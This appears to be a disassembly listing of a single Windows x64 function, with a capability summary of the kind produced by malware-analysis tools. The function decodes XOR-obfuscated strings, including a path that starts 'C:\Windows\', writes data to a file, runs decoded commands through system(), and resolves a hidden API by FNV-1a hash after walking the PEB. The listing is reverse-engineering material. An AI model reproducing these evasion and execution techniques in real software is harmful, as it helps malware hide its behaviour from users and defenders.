Function at 0x140006380
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x118]
sub rsp, 0x210
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x1400d51c0]
xor rax, rsp
mov qword [rbp + 0xe8], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
xor ebx, ebx
mov qword [rsp + 0x40], rbx
movups xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [reloc.WS2_32.dll_closesocket]
movdqu xmmword [rbp + 0xc0], xmm1
mov eax, dword [0x1400bfd1c]
mov word [rbp + 0xb0], ax
movzx eax, byte [0x1400bfd1e]
mov byte [rbp + 0xb2], al
mov byte [rbp + 0xb3], bl
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xb0]
call fcn.14002ddb4
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140006458
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006453
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006453
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a73e4
xor edx, edx
mov cl, 0x43
call fcn.140004410
mov byte [rbp + 0x60], al
mov edx, 1
mov cl, 0x3a
call fcn.140004410
mov byte [rbp + 0x61], al
mov edx, 2
mov cl, 0x5c
call fcn.140004410
mov byte [rbp + 0x62], al
mov edx, 3
mov cl, 0x57
call fcn.140004410
mov byte [rbp + 0x63], al
mov edx, 4
mov cl, 0x69
call fcn.140004410
mov byte [rbp + 0x64], al
mov edx, 5
mov cl, WSAGetLastError
call fcn.140004410
mov byte [rbp + 0x65], al
mov edx, 6
mov cl, 0x64
call fcn.140004410
mov byte [rbp + 0x66], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140004410
mov byte [rbp + 0x67], al
mov edx, 8
mov cl, 0x77
call fcn.140004410
mov byte [rbp + 0x68], al
mov edx, 9
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140004410
mov byte [rbp + 0x69], al
mov edx, 0xa
mov cl, 0x5c
call fcn.140004410
mov byte [rbp + 0x6a], al
mov edx, ntohl
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140004410
mov byte [rbp + 0x6b], al
mov edx, ntohl
mov cl, 0x65
call fcn.140004410
mov byte [rbp + 0x6c], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x63
call fcn.140004410
mov byte [rbp + 0x6d], al
mov edx, reloc.WS2_32.dll_ntohl
mov cl, 0x75
call fcn.140004410
mov byte [rbp + 0x6e], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, WSAStartup
call fcn.140004410
mov byte [rbp + 0x6f], al
mov edx, reloc.WS2_32.dll_recv
mov cl, 0x69
call fcn.140004410
mov byte [rbp + 0x70], al
mov edx, reloc.WS2_32.dll_recvfrom
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140004410
mov byte [rbp + 0x71], al
mov edx, reloc.WS2_32.dll_select
mov cl, 0x79
call fcn.140004410
mov byte [rbp + 0x72], al
mov edx, reloc.WS2_32.dll_send
mov cl, 0x5c
call fcn.140004410
mov byte [rbp + 0x73], al
mov edx, reloc.WS2_32.dll_sendto
mov cl, 0x64
call fcn.140004410
mov byte [rbp + 0x74], al
mov edx, reloc.WS2_32.dll_setsockopt
mov cl, 0x61
call fcn.140004410
mov byte [rbp + 0x75], al
mov edx, reloc.WS2_32.dll_shutdown
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140004410
mov byte [rbp + 0x76], al
mov edx, reloc.WS2_32.dll_socket
mov cl, 0x61
call fcn.140004410
mov byte [rbp + 0x77], al
mov edx, Ordinal_27
mov cl, 0x62
call fcn.140004410
mov byte [rbp + 0x78], al
mov edx, Ordinal_27
mov cl, 0x61
call fcn.140004410
mov byte [rbp + 0x79], al
mov edx, reloc.WLDAP32.dll_Ordinal_26
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140004410
mov byte [rbp + 0x7a], al
mov edx, reloc.WLDAP32.dll_Ordinal_27
mov cl, 0x65
call fcn.140004410
mov byte [rbp + 0x7b], al
mov edx, Ordinal_32
mov cl, 0x5c
call fcn.140004410
mov byte [rbp + 0x7c], al
mov edx, Ordinal_32
mov cl, Ordinal_79
call fcn.140004410
mov byte [rbp + 0x7d], al
mov edx, reloc.WLDAP32.dll_Ordinal_30
mov cl, 0x65
call fcn.140004410
mov byte [rbp + 0x7e], al
mov edx, Ordinal_32
mov cl, 0x78
call fcn.140004410
mov byte [rbp + 0x7f], al
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov cl, 0x75
call fcn.140004410
mov byte [rbp + 0x80], al
mov edx, reloc.WLDAP32.dll_Ordinal_33
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140004410
mov byte [rbp + 0x81], al
mov edx, Ordinal_35
mov cl, 0x46
call fcn.140004410
mov byte [rbp + 0x82], al
mov edx, reloc.WLDAP32.dll_Ordinal_35
mov cl, Ordinal_79
call fcn.140004410
mov byte [rbp + 0x83], al
mov edx, 0x24
mov cl, reloc.WLDAP32.dll_Ordinal_46
call fcn.140004410
mov byte [rbp + 0x84], al
mov edx, Ordinal_41
mov cl, 0x65
call fcn.140004410
mov byte [rbp + 0x85], al
mov edx, Ordinal_41
mov cl, 0x78
call fcn.140004410
mov byte [rbp + 0x86], al
mov edx, Ordinal_41
mov cl, 0x65
call fcn.140004410
mov byte [rbp + 0x87], al
xor eax, eax
mov byte [rbp + 0x88], al
movdqa xmm7, xmmword [0x1400c07b0]
mov r10d, ebx
movdqa xmm0, xmmword [0x1400c0860]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm6, xmmword [0x1400c0830]
mov r11d, dword [rbp + 0x90]
nop word [rax + rax]
movsxd r9, r10d
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r11d
paddb xmm1, xmm0
movd xmm0, dword [rbp + r9 + 0x60]
xorps xmm1, xmm0
movd dword [rbp + r9 + 0x60], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r11d
paddb xmm3, xmm0
movd xmm0, dword [rbp + r9 + 0x64]
xorps xmm3, xmm0
movd dword [rbp + r9 + 0x64], xmm3
lea eax, [r10 + 0xb]
lea ecx, [r10 + 0xa]
lea edx, [r10 + 9]
lea r8d, [r10 + 8]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r11d
paddb xmm3, xmm0
movd xmm0, dword [rbp + r9 + 0x68]
xorps xmm3, xmm0
movd dword [rbp + r9 + 0x68], xmm3
lea eax, [r10 + 0xf]
lea ecx, [r10 + 0xe]
lea edx, [r10 + 0xd]
lea r8d, [r10 + 0xc]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r11d
paddb xmm3, xmm0
movd xmm0, dword [rbp + r9 + 0x6c]
xorps xmm3, xmm0
movd dword [rbp + r9 + 0x6c], xmm3
add r10d, 0x10
cmp r10d, 0x20
jb 0x140006700
cmp r10d, 0x28
jae 0x140006859
movsxd rax, r10d
lea rcx, [rbp + 0x60]
add rcx, rax
lea eax, [r10 + 0x13]
xor byte [rcx], al
inc r10d
cmp r10d, 0x28
jb 0x140006840
mov byte [rbp + 0x88], 0
mov r8d, Ordinal_35
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.140015060
nop
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
sub r8, rdx
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x58]
call fcn.140015a90
test rax, rax
jne 0x1400068bb
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movups xmm0, xmmword [str.AGUGB]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x1400c0300]
movups xmmword [rbp + 0xc0], xmm1
movsd xmm0, qword [0x1400c0310]
movsd qword [rbp + 0xd0], xmm0
mov eax, dword [0x1400c0318]
mov dword [rbp + 0xd8], eax
movzx eax, word [0x1400c031c]
mov word [rbp + 0xdc], ax
movzx eax, byte [0x1400c031e]
mov byte [rbp + 0xde], al
mov r9d, ebx
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp r14d, 2
jl 0x140006a61
movdqa xmm4, xmmword [0x1400c0890]
movdqa xmm5, xmmword [0x1400c0820]
movdqa xmm0, xmmword [0x1400c0870]
movdqa xmmword [rbp + 0x90], xmm0
lea r10, [rbp + 0xb4]
mov r11d, dword [rbp + 0x90]
movd xmm2, r9d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r11d
paddb xmm2, xmm0
movd xmm0, dword [r10 - 4]
xorps xmm2, xmm0
movd dword [r10 - 4], xmm2
lea eax, [r9 + 7]
lea ecx, [r9 + 6]
lea edx, [r9 + 5]
lea r8d, [r9 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r11d
paddb xmm3, xmm0
movd xmm0, dword [r10]
xorps xmm3, xmm0
movd dword [r10], xmm3
add r9d, 8
lea r10, [r10 + 8]
cmp r9d, 0x28
jl 0x140006950
cmp r9d, 0x2f
jge 0x140006aa3
movsxd rax, r9d
lea r8, [rbp + 0xb0]
add r8, rax
nop
mov eax, 0x8d3dcb09
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r9b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r9d
lea r8, [r8 + 1]
cmp r9d, 0x2f
jl 0x140006a70
lea rcx, [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140006b46
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140006b46
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rdi]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140006b41
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140006b20
cmp r8d, 0x2fa62ca8
je 0x140006b4b
test r9d, r9d
jne 0x140006b00
mov rax, qword [rax]
jmp 0x140006ad0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x1f40
call rdx
movups xmm0, xmmword [0x1400bfed8]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x1400bfee8]
movups xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [0x1400bfef8]
movups xmmword [rbp + 0xd0], xmm0
mov eax, dword [0x1400bff08]
mov dword [rbp + 0xe0], eax
mov r8d, ebx
cmp r14d, 2
jl 0x140006cd0
movdqa xmm4, xmmword [0x1400c07b0]
movdqa xmm3, xmmword [0x1400c0890]
movdqa xmm5, xmmword [0x1400c0820]
movdqa xmm0, xmmword [0x1400c0870]
movdqa xmmword [rbp + 0x90], xmm0
lea rcx, [rbp + 0xb4]
mov edx, dword [rbp + 0x90]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140006be1
cmp r8d, 0x34
jge 0x140006d13
movsxd rax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x140006ce0
lea rcx, [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140006310
mov rcx, rax
call fcn.140018820
call fcn.140006310
cmp qword [rax + 8], 0xffffffffffffffff
jne 0x140006d3e
call fcn.140005ba0
call fcn.140006310
mov rcx, rax
call fcn.140018820
call fcn.140006310
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp qword [rax + 8], 0xffffffffffffffff
je 0x140007028
lea rdx, str.e_1_32m
call fcn.140016590
mov r9, rax
movups xmm7, xmmword [0x1400c0340]
movups xmmword [rbp + 0x90], xmm7
mov edx, dword [0x1400c0350]
mov dword [rbp + 0xa0], edx
cmp byte [0x1400c0353], 0
je 0x140007005
cmp r14d, 2
jl 0x140006fcd
movdqa xmm4, xmmword [0x1400c0890]
movdqa xmm5, xmmword [0x1400c0820]
movdqa xmm3, xmmword [0x1400c07b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
mov ecx, dword [0x1400c0870]
movd xmm0, ecx
paddb xmm3, xmm0
movd eax, xmm7
movd xmm0, eax
xorps xmm3, xmm0
movd dword [rbp + 0x90], xmm3
movdqa xmm2, xmmword [0x1400c07c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
movdqa xmm3, xmmword [0x1400c07d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rbp + 0x98]
xorps xmm3, xmm1
movd dword [rbp + 0x98], xmm3
movdqa xmm2, xmmword [0x1400c07e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9c]
xorps xmm2, xmm1
movd dword [rbp + 0x9c], xmm2
movdqa xmm3, xmmword [0x1400c07f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rbp + 0xa0], xmm3
jmp 0x140007005
lea r8, [rbp + 0x90]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
mul ebx
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x14
jl 0x140006fe0
lea rdx, [rbp + 0x90]
mov rcx, r9
call fcn.140016590
lea rdx, str.e_0m
mov rcx, rax
call fcn.140016590
jmp 0x1400072f4
lea rdx, str.e_1_31m
call fcn.140016590
mov r9, rax
movups xmm7, xmmword [0x1400c0288]
movups xmmword [rbp + 0xb0], xmm7
mov edx, dword [0x1400c0298]
mov dword [rbp + 0xc0], edx
cmp byte [0x1400c029b], 0
je 0x1400072c5
cmp r14d, 2
jl 0x140007293
movdqa xmm4, xmmword [0x1400c0890]
movdqa xmm5, xmmword [0x1400c0820]
movdqa xmm3, xmmword [0x1400c07b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
mov ecx, dword [0x1400c0870]
movd xmm0, ecx
paddb xmm3, xmm0
movd eax, xmm7
movd xmm0, eax
xorps xmm3, xmm0
movd dword [rbp + 0xb0], xmm3
movdqa xmm2, xmmword [0x1400c07c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb4]
xorps xmm2, xmm1
movd dword [rbp + 0xb4], xmm2
movdqa xmm3, xmmword [0x1400c07d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rbp + 0xb8]
xorps xmm3, xmm1
movd dword [rbp + 0xb8], xmm3
movdqa xmm2, xmmword [0x1400c07e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbc]
xorps xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
movdqa xmm3, xmmword [0x1400c07f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rbp + 0xc0], xmm3
jmp 0x1400072c5
lea r8, [rbp + 0xb0]
nop word [rax + rax]
mov eax, 0x8d3dcb09
mul ebx
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x14
jl 0x1400072a0
lea rdx, [rbp + 0xb0]
mov rcx, r9
call fcn.140016590
lea rdx, str.e_0m
mov rcx, rax
call fcn.140016590
lea rdx, [0x140016550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x50]
call fcn.140007380
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000733e
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007339
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007339
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a73e4
mov rcx, qword [rbp + 0xe8]
xor rcx, rsp
call fcn.1400a7070
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret